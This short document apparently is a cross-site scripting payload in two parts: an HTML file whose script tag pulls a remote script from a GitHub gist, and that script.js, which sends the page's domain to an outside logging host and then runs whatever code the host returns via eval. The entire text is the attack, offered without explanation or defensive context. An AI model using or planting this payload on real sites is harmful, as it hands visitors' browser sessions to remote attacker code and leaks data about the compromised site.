payload.html

<script src="https://gist.githubusercontent.com/smiegles/9b27ab5931588aa862d5/raw/2325f2887fed43963a50c82af572823009f32150/script.js"></script>

script.js

(function() {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://www.log.server/?domain=' + document.domain);
  xhr.send(null);
  
  xhr.onreadystatechange = function () {
    if (xhr.readyState === 4) {
      if (xhr.status === 200) 
        eval(xhr.responseText);
      }
  }
})();